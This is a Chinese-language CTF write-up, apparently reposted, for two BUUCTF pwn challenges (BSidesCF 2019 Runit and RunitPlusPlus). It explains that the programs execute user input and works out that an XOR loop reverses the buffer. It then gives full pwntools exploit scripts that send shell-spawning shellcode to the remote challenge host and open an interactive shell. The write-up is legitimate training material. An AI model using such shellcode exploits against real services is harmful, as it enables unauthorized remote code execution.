BUUCTF pwn Runit&&RunitPlusPlus

   日期:2021-01-14     浏览:112    评论:0    
核心提示:[BSidesCF 2019]Runit查看保护IDA查看程序流读入buf并执行,那么可以写入shellcode完整exfrom pwn import *context(log_level='debug')#io=process("./runit")io=remote("node3.buuoj.cn",28430)io.recv()payload=asm(shellcraft.sh())io.send(payload)io.interactive()[BSid

[BSidesCF 2019]Runit

查看保护

IDA查看程序流

读入buf并执行,那么可以写入shellcode
完整ex

from pwn import *

context(log_level='debug')

#io=process("./runit")

io=remote("node3.buuoj.cn",28430)

io.recv()

payload=asm(shellcraft.sh())

io.send(payload)

io.interactive()

[BSidesCF 2019]RunitPlusPlus

查看程序保护

IDA打开查看程序流程

读入buf,最后再执行buf输入的内容

主体关键是中间的for循环,用了异或操作

可以假设buf[i]=a, buf[v8-i-1]=b, 那么对循环里面的操作进行转换有

a=a^b
b=b^a=b^(a^b)=a
a=a^b=(a^b)^a=b

即结果使得buf[i]= buf[v8-i-1], 那么对输入的shellcode进行逆转就行了。

完整的ex

from pwn import *

context(log_level='debug')

#io=process("./runitplusplus")

io=remote("node3.buuoj.cn",26920)

io.recv()

io.send(asm(shellcraft.sh())[::-1])

io.interactive()
 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服